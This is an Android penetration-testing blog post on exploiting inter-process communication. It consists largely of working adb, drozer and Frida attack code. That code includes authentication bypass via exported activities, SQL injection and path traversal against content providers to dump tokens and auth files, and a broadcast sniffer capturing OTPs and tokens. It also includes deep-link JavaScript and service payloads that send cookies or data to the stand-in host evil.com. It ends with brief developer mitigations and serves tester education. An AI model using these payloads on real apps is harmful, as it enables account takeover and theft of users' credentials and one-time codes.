marginaldeer

char nick[5] = "marg";

char full_nick[13] = "marginaldeer";

printf("https://github.com/%s\n",full_nick);

printf("%s\x40marginaldeer\x2ecom\n",nick);

puts("63DD 76E6 3428 1285 CD8B E3F5 7509 1985 DF70 E945");

Attacking Android IPC: Intents, Content Providers, and Broadcast Receivers

Mar 2, 2026 • android,ipc,pentest,mobile,privilege-escalation

This is part seven of my Android pentest series. Last week we covered bypassing root and emulator detection. Now let’s look at one of Android’s biggest attack surfaces that most testers overlook — inter-process communication.

Android apps don’t exist in isolation. They talk to each other through IPC mechanisms: Intents, Content Providers, Broadcast Receivers, and bound Services. When developers expose these components without proper access controls, we can exploit them to steal data, trigger privileged actions, or chain into full compromise.

I find IPC bugs on almost every Android assessment. They’re everywhere because developers don’t realize the implications of android:exported="true".

Understanding the Attack Surface

The AndroidManifest.xml declares all of an app’s components. Any component with android:exported="true" or an <intent-filter> is accessible to other apps — including ours.

Start by pulling the manifest from a decompiled APK:

apktool d target.apk -o target/
cat target/AndroidManifest.xml

Look for:

<!-- Exported activity - anyone can launch this -->
<activity android:name=".admin.AdminPanel" android:exported="true" />

<!-- Intent filter makes it implicitly exported -->
<activity android:name=".DeepLinkActivity">
    <intent-filter>
        <action android:name="android.intent.action.VIEW" />
        <data android:scheme="myapp" android:host="action" />
    </intent-filter>
</activity>

<!-- Exported content provider - data access -->
<provider
    android:name=".data.UserProvider"
    android:authorities="com.target.provider"
    android:exported="true" />

<!-- Exported broadcast receiver -->
<receiver android:name=".AdminReceiver" android:exported="true">
    <intent-filter>
        <action android:name="com.target.ADMIN_ACTION" />
    </intent-filter>
</receiver>

Quick Enumeration with drozer

If you have drozer set up (you should), it makes enumeration fast:

# List attack surface
dz> run app.package.attacksurface com.target.app

# List exported activities
dz> run app.activity.info -a com.target.app

# List exported content providers
dz> run app.provider.info -a com.target.app

# List exported broadcast receivers
dz> run app.broadcast.info -a com.target.app

# List exported services
dz> run app.service.info -a com.target.app

Attacking Exported Activities

Exported activities are the most straightforward. If an admin panel, settings page, or debug activity is exported, we can launch it directly — bypassing any authentication flow.

Launching Activities with ADB

# Launch a specific activity
adb shell am start -n com.target.app/.admin.AdminPanel

# Launch with extras (passing data)
adb shell am start -n com.target.app/.TransferActivity \
  --es "account" "attacker-account" \
  --ei "amount" 10000

# Launch with a data URI
adb shell am start -n com.target.app/.DeepLinkActivity \
  -d "myapp://action/delete?id=1"

Real-World Example: Auth Bypass

On a recent engagement the app had a ProfileActivity that displayed user data and was only supposed to be accessible after login. But it was exported:

<activity android:name=".ui.ProfileActivity" android:exported="true" />

Launching it directly skipped the entire authentication flow:

adb shell am start -n com.target.app/.ui.ProfileActivity

Suddenly I’m looking at the last logged-in user’s profile data without any credentials. To take this further, I checked what extras the activity expected by decompiling it:

// From the decompiled ProfileActivity
String userId = getIntent().getStringExtra("user_id");
if (userId == null) {
    userId = getCurrentUserId();  // Falls back to cached user
}
loadProfile(userId);

So we can also pass arbitrary user IDs:

adb shell am start -n com.target.app/.ui.ProfileActivity \
  --es "user_id" "admin"

IDOR through an exported activity. Combined with no server-side authorization check on the profile API, this was straight-up access to any user’s data.

Deep links are a special case of exported activities. Apps register URL schemes that let websites or other apps open specific screens. These are often poorly validated.

# From the manifest
grep -A5 "intent-filter" target/AndroidManifest.xml | grep -E "scheme|host|path"

# Or use adb
adb shell dumpsys package com.target.app | grep -A5 "intent-filter"
# Basic deep link
adb shell am start -a android.intent.action.VIEW \
  -d "myapp://settings/reset-password?token=test"

# Web deep link (App Links)
adb shell am start -a android.intent.action.VIEW \
  -d "https://target.com/app/transfer?to=attacker&amount=1000"

Common deep link vulnerabilities:

  • Open redirectmyapp://navigate?url=https://evil.com
  • JavaScript injection in WebViewsmyapp://webview?url=javascript:alert(document.cookie)
  • Parameter injection — Deep link parameters passed directly to API calls without validation

If a deep link opens a WebView, test for JavaScript execution:

# XSS via deep link
adb shell am start -a android.intent.action.VIEW \
  -d "myapp://web?url=https://evil.com/steal.html"

# JavaScript scheme
adb shell am start -a android.intent.action.VIEW \
  -d "myapp://web?url=javascript:document.location='https://evil.com/?c='%2Bdocument.cookie"

This is devastating when the WebView has setJavaScriptEnabled(true) and loads the URL from the intent parameter without validation. If the WebView also has a JavaScript interface (addJavascriptInterface), you might get code execution.

Attacking Content Providers

Content Providers expose structured data through a URI-based interface. When exported, they’re basically an unauthenticated database API.

Querying Providers

# Query all records
adb shell content query --uri content://com.target.provider/users

# Query with projection (specific columns)
adb shell content query --uri content://com.target.provider/users \
  --projection "username:password:email"

# Query with selection (WHERE clause)
adb shell content query --uri content://com.target.provider/users \
  --where "role='admin'"

SQL Injection in Content Providers

Content Providers that use raw SQL queries are vulnerable to injection through the selection parameter:

# Test for SQL injection
adb shell content query --uri content://com.target.provider/users \
  --where "1=1) OR 1=1--"

# Extract table names
adb shell content query --uri content://com.target.provider/users \
  --where "1=1) UNION SELECT name,sql,null FROM sqlite_master--"

# Dump another table
adb shell content query --uri content://com.target.provider/users \
  --where "1=1) UNION SELECT token,refresh_token,null FROM auth_tokens--"

With drozer:

# Enumerate URIs
dz> run scanner.provider.finduris -a com.target.app

# Test for SQL injection
dz> run scanner.provider.injection -a com.target.app

# Query with injection
dz> run app.provider.query content://com.target.provider/users \
  --selection "1=1) UNION SELECT sql,null FROM sqlite_master--"

Path Traversal in File Providers

Some Content Providers serve files. If they don’t validate the path, we can read arbitrary files:

# Normal file access
adb shell content read --uri content://com.target.fileprovider/files/document.pdf

# Path traversal
adb shell content read --uri content://com.target.fileprovider/files/..%2F..%2F..%2Fdata%2Fdata%2Fcom.target.app%2Fshared_prefs%2Fauth.xml

With Frida:

Java.perform(function() {
    var Uri = Java.use("android.net.Uri");
    var cr = Java.use("android.app.ActivityThread").currentApplication()
        .getContentResolver();
    
    var uri = Uri.parse("content://com.target.fileprovider/files/../../../../etc/hosts");
    var stream = cr.openInputStream(uri);
    
    // Read the stream
    var BufferedReader = Java.use("java.io.BufferedReader");
    var InputStreamReader = Java.use("java.io.InputStreamReader");
    var reader = BufferedReader.$new(InputStreamReader.$new(stream));
    
    var line;
    while ((line = reader.readLine()) !== null) {
        console.log(line);
    }
});

Insert and Update Operations

If the provider allows writes, you can modify the app’s data:

# Insert a record
adb shell content insert --uri content://com.target.provider/users \
  --bind username:s:admin2 \
  --bind password:s:hacked \
  --bind role:s:admin

# Update a record
adb shell content update --uri content://com.target.provider/users \
  --bind role:s:admin \
  --where "username='attacker'"

Creating an admin account through an exported Content Provider. I’ve seen this in production.

Attacking Broadcast Receivers

Broadcast Receivers listen for system or app events. Exported receivers can be triggered by any app, which leads to interesting attacks.

Sending Broadcasts

# Send a broadcast
adb shell am broadcast -a com.target.ADMIN_ACTION \
  -n com.target.app/.AdminReceiver

# With extras
adb shell am broadcast -a com.target.RESET_PASSWORD \
  --es "email" "attacker@evil.com" \
  --es "user_id" "victim"

# Ordered broadcast (with priority)
adb shell am broadcast -a com.target.PAYMENT_COMPLETE \
  --ei "amount" 0 \
  --es "status" "success"

Broadcast Sniffing

Register a receiver to capture broadcasts the app sends. Useful for grabbing tokens, OTPs, or sensitive data:

Java.perform(function() {
    var IntentFilter = Java.use("android.content.IntentFilter");
    var BroadcastReceiver = Java.use("android.content.BroadcastReceiver");
    var Context = Java.use("android.content.Context");
    
    var filter = IntentFilter.$new();
    filter.addAction("com.target.OTP_RECEIVED");
    filter.addAction("com.target.AUTH_TOKEN");
    filter.setPriority(999);
    
    var receiver = Java.registerClass({
        name: "com.attacker.Sniffer",
        superClass: BroadcastReceiver,
        methods: {
            onReceive: function(context, intent) {
                console.log("[!] Intercepted broadcast:");
                console.log("    Action: " + intent.getAction());
                var extras = intent.getExtras();
                if (extras) {
                    var keys = extras.keySet().iterator();
                    while (keys.hasNext()) {
                        var key = keys.next();
                        console.log("    " + key + " = " + extras.get(key));
                    }
                }
            }
        }
    });
    
    var app = Java.use("android.app.ActivityThread").currentApplication();
    app.registerReceiver(receiver.$new(), filter);
    console.log("[*] Broadcast sniffer registered");
});

Real-World Example: OTP Hijacking

App sends a broadcast with the OTP for display in a notification. No permission protection:

<receiver android:name=".OTPDisplayReceiver" android:exported="true">
    <intent-filter>
        <action android:name="com.target.NEW_OTP" />
    </intent-filter>
</receiver>

Any app on the device can register a higher-priority receiver for com.target.NEW_OTP and grab the OTP before the legitimate receiver sees it. On Android < 14 this works with ordered broadcasts. Combined with an exported activity that triggers the OTP send, you have a complete authentication bypass.

Attacking Bound Services

Services that accept bindings from other apps can receive arbitrary messages:

# Start a service
adb shell am startservice -n com.target.app/.SyncService \
  --es "action" "sync_all" \
  --es "dest" "https://evil.com/exfil"

For more complex service interactions (Messenger or AIDL), you’ll need to write a small app or use Frida to bind to the service:

Java.perform(function() {
    var Intent = Java.use("android.content.Intent");
    var ComponentName = Java.use("android.content.ComponentName");
    
    var intent = Intent.$new();
    intent.setComponent(ComponentName.$new("com.target.app", "com.target.app.ExportedService"));
    
    var app = Java.use("android.app.ActivityThread").currentApplication();
    app.startService(intent);
    console.log("[*] Service triggered");
});

Chaining IPC Attacks

The real power of IPC attacks comes from chaining them. Here’s a chain I used on an engagement:

  1. Exported Activity with deep link accepted a URL parameter
  2. WebView loaded the URL with JavaScript enabled and addJavascriptInterface
  3. JavaScript bridge had a method that wrote to a Content Provider
  4. Content Provider had no write validation
  5. Modified the auth token stored in the provider’s database

The chain: Malicious link → Deep link → WebView → JS bridge → Content Provider write → Account takeover.

Each component in isolation might look low-risk. Chained together, it’s a critical finding.

Automation Script

I use this bash script to quickly enumerate the IPC attack surface:

#!/bin/bash
PKG=$1

if [ -z "$PKG" ]; then
    echo "Usage: $0 <package_name>"
    exit 1
fi

echo "=== IPC Attack Surface for $PKG ==="
echo ""

echo "--- Exported Activities ---"
adb shell dumpsys package $PKG | grep -A1 "Activity " | grep -E "exported=true"
echo ""

echo "--- Deep Links ---"
adb shell dumpsys package $PKG | grep -B1 -A10 "intent-filter" | grep -E "scheme|host|path|Action"
echo ""

echo "--- Content Providers ---"
adb shell dumpsys package $PKG | grep -A3 "Provider " | grep -E "authority|exported"
echo ""

echo "--- Broadcast Receivers ---"
adb shell dumpsys package $PKG | grep -A2 "Receiver " | grep -E "exported=true"
echo ""

echo "--- Services ---"
adb shell dumpsys package $PKG | grep -A2 "Service " | grep -E "exported=true"
echo ""

echo "--- Permissions ---"
adb shell dumpsys package $PKG | grep "permission:" | head -20

Prevention (What to Tell Developers)

When you’re writing up these findings:

  • Don’t export components unnecessarily. Set android:exported="false" unless the component truly needs external access.
  • Use custom permissions for components that must be exported: android:permission="com.target.ADMIN_PERMISSION"
  • Validate all Intent extras. Never trust data from incoming Intents.
  • Use signature-level permissions for IPC between your own apps.
  • Content Providers should use parameterized queries. No raw SQL with user input.
  • File Providers must validate paths. Canonicalize and check that the resolved path is within allowed directories.
  • Use LocalBroadcastManager (or LiveData) for internal broadcasts. Don’t send sensitive data via global broadcasts.

If you enjoyed this post please consider subscribing to the feed!